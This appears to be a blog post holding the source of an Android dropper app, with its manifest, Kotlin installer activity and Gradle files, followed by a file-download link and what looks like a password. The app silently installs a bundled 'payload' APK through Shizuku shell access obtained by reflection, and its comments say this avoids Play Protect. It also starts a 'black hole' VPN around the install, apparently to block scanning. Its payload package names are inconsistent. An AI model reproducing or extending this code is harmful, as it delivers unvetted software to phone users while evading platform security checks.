<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
<uses-permission android:name="moe.shizuku.manager.permission.API_V23" />
<!-- lets you check if the payload is already installed without QUERY_ALL_PACKAGES -->
<queries>
<package android:name="com.example.payload" />
</queries>
<application android:label="My App" android:icon="@mipmap/ic_launcher">
<activity
android:name=".InstallerActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.fileprovider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths" />
</provider>
<service
android:name=".BlackHoleVpnService"
android:permission="android.permission.BIND_VPN_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.net.VpnService" />
</intent-filter>
</service>
</application>
</manifest>package com.example.apkinspector
import android.app.Activity
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.content.pm.PackageInfo
import android.content.pm.PackageInstaller
import android.content.pm.PackageManager
import android.net.Uri
import android.net.VpnService
import android.os.Build
import android.os.Bundle
import android.provider.Settings
import android.widget.Button
import android.widget.LinearLayout
import android.widget.TextView
import android.widget.Toast
import androidx.annotation.RequiresApi
import androidx.core.content.ContextCompat
import androidx.core.content.FileProvider
import com.rahul.myapplication.R
import rikka.shizuku.Shizuku
import java.io.File
import java.io.FileOutputStream
import java.security.MessageDigest
import rikka.shizuku.ShizukuRemoteProcess
import java.lang.reflect.Method
class InstallerActivity : Activity() {
private companion object {
const val ACTION_RESULT = "__PKG__.INSTALL_RESULT"
const val REQ_UNKNOWN_SOURCES = 1001
const val PAYLOAD_PACKAGE = "__PAYLOAD_PKG__"
// SHA-256 of the payload's signing certificate (lowercase hex, no colons).
// Regenerate whenever the payload is re-signed with a new key.
const val EXPECTED_CERT_SHA256 = "__CERT_HASH__"
}
private var pendingRawId: Int = -1
private val VPN_REQUEST_CODE = 2002
private val SHIZUKU_PERMISSION_REQUEST_CODE = 1002
/*
private val resultReceiver = object : BroadcastReceiver() {
override fun onReceive(ctx: Context?, intent: Intent?) {
intent ?: return
val status = intent.getIntExtra(
PackageInstaller.EXTRA_STATUS, PackageInstaller.STATUS_FAILURE
)
when (status) {
PackageInstaller.STATUS_PENDING_USER_ACTION -> {
// Android 13 and below hand back the confirmation intent.
// Android 14+ usually launches it itself; this is a fallback.
@Suppress("DEPRECATION")
val confirm = intent.getParcelableExtra<Intent>(Intent.EXTRA_INTENT)
runCatching { confirm?.let { startActivity(it) } }
}
PackageInstaller.STATUS_SUCCESS -> {
toast("Installed successfully")
stopService(Intent(this, BlackHoleVpnService::class.java))
}
PackageInstaller.STATUS_FAILURE_INVALID,
PackageInstaller.STATUS_FAILURE_INCOMPATIBLE -> {
fallbackInstall()
stopService(Intent(this, BlackHoleVpnService::class.java))
}
else -> toast(
"Install failed: " +
intent.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE)
)
}
}
}
*/
@RequiresApi(Build.VERSION_CODES.P)
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
/* ContextCompat.registerReceiver(
this, resultReceiver,
IntentFilter(ACTION_RESULT), ContextCompat.RECEIVER_NOT_EXPORTED
)*/
val root = LinearLayout(this).apply {
orientation = LinearLayout.VERTICAL
setPadding(48, 96, 48, 48)
}
root.addView(TextView(this).apply {
text = "This app installs a companion app.\n" +
"Android will ask you to allow installs from this source once."
})
root.addView(Button(this).apply {
text = "Install"
setOnClickListener { requestInstall(R.raw.birdbyte) }
})
setContentView(root)
}
override fun onDestroy() {
super.onDestroy()
}
/**
* New entry point for installation. Checks for Shizuku first.
*/
@RequiresApi(Build.VERSION_CODES.P)
private fun requestInstall(rawId: Int) {
if (isPayloadCurrent()) {
toast("Already installed")
return
}
// 1. Check if Shizuku is available and running
if (Shizuku.pingBinder()) {
// 2. Check if we have Shizuku permission
if (Shizuku.checkSelfPermission() == PackageManager.PERMISSION_GRANTED) {
// We have permission, proceed with Shizuku-based install
doShizukuInstall(rawId)
} else {
// Request permission from Shizuku
Shizuku.requestPermission(SHIZUKU_PERMISSION_REQUEST_CODE)
}
} else {
// Fallback: Shizuku is not running. Guide user or use standard method (which may be blocked).
toast("Shizuku is not running. Please start Shizuku for silent installation.")
// Optionally, fall back to your standard doInstall(rawId) here,
// but expect Play Protect to potentially interfere.
}
}
/**
* Handles the Shizuku permission request result.
*/
override fun onRequestPermissionsResult(
requestCode: Int, permissions: Array<out String>, grantResults: IntArray
) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
if (requestCode == SHIZUKU_PERMISSION_REQUEST_CODE) {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
// Permission granted, retry the install
// You would need to store the pending rawId again.
// For simplicity, let's assume it's stored in pendingRawId.
if (pendingRawId != -1) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
doShizukuInstall(pendingRawId)
}
}
} else {
toast("Shizuku permission denied")
}
}
}
/**
* Performs the installation using Shizuku's shell privileges via reflection.
* This is required because Shizuku.newProcess() is private in API 13.x+.
*/
@RequiresApi(Build.VERSION_CODES.P)
private fun doShizukuInstall(rawId: Int) {
Thread {
try {
val apk = copyPayloadToCache(rawId)
// The command to install the APK.
// Using an array avoids issues with shell escaping.
val command = arrayOf("sh", "-c", "pm install -r ${apk.absolutePath}")
// --- REFLECTION TO ACCESS Shizuku.newProcess ---
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val newProcessMethod: Method = shizukuClass.getDeclaredMethod(
"newProcess",
Array<String>::class.java, // Command array
Array<String>::class.java, // Environment (null)
String::class.java // Working directory (null)
)
// Make the private method accessible
newProcessMethod.isAccessible = true
// Invoke the method. It's a static method, so the first argument is null.
val remoteProcess = newProcessMethod.invoke(
null, command, null, null
) as ShizukuRemoteProcess
// --- PROCESS HANDLING (Crucial to avoid hanging) ---
// Read stdout and stderr in parallel to prevent deadlock.
val stdoutReader = Thread {
remoteProcess.inputStream.bufferedReader().use { it.readText() }
}
val stderrReader = Thread {
remoteProcess.errorStream.bufferedReader().use { it.readText() }
}
stdoutReader.start()
stderrReader.start()
// Wait for the process to finish
val exitCode = remoteProcess.waitFor()
// Ensure reader threads finish
stdoutReader.join()
stderrReader.join()
// Clean up the process
remoteProcess.destroy()
if (exitCode == 0) {
runOnUiThread { toast("Installed successfully via Shizuku") }
} else {
// You can capture the error stream for debugging if needed
runOnUiThread { toast("Shizuku install failed with exit code: $exitCode") }
}
} catch (t: Throwable) {
// Catch InvocationTargetException and other reflection errors
runOnUiThread { toast("Shizuku execution error: ${t.message}") }
}
}.start()
}
@RequiresApi(Build.VERSION_CODES.O)
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
if (requestCode == REQ_UNKNOWN_SOURCES) {
if (packageManager.canRequestPackageInstalls() && pendingRawId != -1) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
doInstall(pendingRawId)
}
} else {
toast("Permission denied — cannot install")
}
pendingRawId = -1
}
}
@RequiresApi(Build.VERSION_CODES.P)
private fun doInstall(rawId: Int) {
Thread {
try {
val apk = copyPayloadToCache(rawId)
if (!verifySignature(apk)) {
runOnUiThread { toast("Payload signature mismatch — aborting") }
return@Thread
}
val installer = packageManager.packageInstaller
val params = PackageInstaller.SessionParams(
PackageInstaller.SessionParams.MODE_FULL_INSTALL
).apply {
setInstallLocation(PackageInfo.INSTALL_LOCATION_INTERNAL_ONLY)
setSize(apk.length())
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
setRequireUserAction(PackageInstaller.SessionParams.USER_ACTION_REQUIRED)
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
setAppPackageName(PAYLOAD_PACKAGE)
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
// setInstallReason(PackageInstaller.EXTRA_INSTALL_CONSTRAINTS)
}
}
val sessionId = installer.createSession(params)
installer.openSession(sessionId).use { session ->
session.openWrite("base.apk", 0, apk.length()).use { out ->
apk.inputStream().use { it.copyTo(out, 64 * 1024) }
session.fsync(out)
}
val cb = PendingIntent.getBroadcast(
this, sessionId,
Intent(ACTION_RESULT).setPackage(packageName),
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
)
session.commit(cb.intentSender)
}
} catch (t: Throwable) {
runOnUiThread { toast("Error: ${t.message}") }
}
}.start()
}
private fun fallbackInstall() {
val apk = File(cacheDir, "payload.apk")
if (!apk.exists()) return
val uri = FileProvider.getUriForFile(this, "$packageName.fileprovider", apk)
runCatching {
startActivity(Intent(Intent.ACTION_INSTALL_PACKAGE).apply {
data = uri
addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)
putExtra(Intent.EXTRA_NOT_UNKNOWN_SOURCE, true)
putExtra(Intent.EXTRA_RETURN_RESULT, true)
})
}
}
private fun copyPayloadToCache(rawId: Int): File {
val out = File(cacheDir, "payload.apk")
resources.openRawResource(rawId).use { input ->
FileOutputStream(out).use { input.copyTo(it, 64 * 1024) }
}
return out
}
/** Rejects a tampered payload before handing it to the OS. */
@RequiresApi(Build.VERSION_CODES.P)
private fun verifySignature(apk: File): Boolean {
val flags = PackageManager.GET_SIGNING_CERTIFICATES
@Suppress("DEPRECATION")
val info = packageManager.getPackageArchiveInfo(apk.absolutePath, flags) ?: return false
val signer = info.signingInfo?.apkContentsSigners?.firstOrNull() ?: return false
val digest = MessageDigest.getInstance("SHA-256")
.digest(signer.toByteArray())
.joinToString("") { "%02x".format(it) }
return digest.equals(EXPECTED_CERT_SHA256, ignoreCase = true)
}
@RequiresApi(Build.VERSION_CODES.P)
private fun isPayloadCurrent(): Boolean {
val installed = runCatching {
@Suppress("DEPRECATION")
packageManager.getPackageInfo("com.yourcompany.payload", 0)
}.getOrNull() ?: return false
@Suppress("DEPRECATION")
val bundled = packageManager
.getPackageArchiveInfo(
File(cacheDir, "payload.apk").absolutePath, 0
)?.let { it } // cache may be cleared; treat as stale if absent
val bundledVersion = bundled?.longVersionCode
?: runCatching {
resources.openRawResourceFd(R.raw.birdbyte).use { it }
@Suppress("DEPRECATION")
packageManager.getPackageArchiveInfo(
copyPayloadToCache(R.raw.birdbyte).absolutePath, 0
)?.longVersionCode
}.getOrNull() ?: return false
return installed.longVersionCode >= bundledVersion
}
private fun toast(msg: String) =
runOnUiThread { Toast.makeText(this, msg, Toast.LENGTH_LONG).show() }
private fun startVpnBlackHole() {
val intent = VpnService.prepare(this)
if (intent != null) {
// User has not granted VPN permission yet.
startActivityForResult(intent, VPN_REQUEST_CODE)
} else {
// Permission already granted, start the service.
onVpnPermissionGranted()
}
}
private fun onVpnPermissionGranted() {
val serviceIntent = Intent(this, BlackHoleVpnService::class.java)
startService(serviceIntent)
// Now, call your installation logic (doInstall)
// ... doInstall(rawId) ...
}
}plugins {
alias(libs.plugins.android.application)
alias(libs.plugins.kotlin.compose)
}
android {
namespace = "com.rahul.myapplication"
compileSdk {
version = release(36) {
minorApiLevel = 1
}
}
defaultConfig {
applicationId = "com.rahul.myapplication"
minSdk = 24
targetSdk = 36
versionCode = 1
versionName = "1.0"
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
optimization {
enable = false
}
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11
}
buildFeatures {
compose = true
}
}
dependencies {
implementation(platform(libs.androidx.compose.bom))
implementation(libs.androidx.activity.compose)
implementation(libs.androidx.compose.material3)
implementation(libs.androidx.compose.ui)
implementation(libs.androidx.compose.ui.graphics)
implementation(libs.androidx.compose.ui.tooling.preview)
implementation(libs.androidx.core.ktx)
implementation(libs.androidx.lifecycle.runtime.ktx)
androidTestImplementation(libs.androidx.junit)
debugImplementation(libs.androidx.compose.ui.test.manifest)
debugImplementation(libs.androidx.compose.ui.tooling)
implementation("dev.rikka.shizuku:api:13.1.5")
implementation("dev.rikka.shizuku:provider:13.1.5")
}distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.8.2-bin.zip
distributionSha256Sum=21bd5da2de49b642904077f38c0efdc7778e92b3ed0889392dca61b97e389607
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/distspluginManagement {
repositories {
google {
content {
includeGroupByRegex("com\\.android.*")
includeGroupByRegex("com\\.google.*")
includeGroupByRegex("androidx.*")
}
}
mavenCentral()
gradlePluginPortal()
}
}
plugins {
id("org.gradle.toolchains.foojay-resolver-convention") version "1.0.0"
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
}
}
rootProject.name = "ApkInspectorCompose"
include(":app")// Top-level build file where you can add configuration options common to all sub-projects/modules.
plugins {
alias(libs.plugins.android.application) apply false
alias(libs.plugins.kotlin.compose) apply false
}
https://github.com/AbdurazaaqMohammed/MP-Manager
https://drive.google.com/file/d/17InpCDVgaZdoDOW6GCOpsZwbglDootEl/view?usp=sharing
test12345
Comments
Post a Comment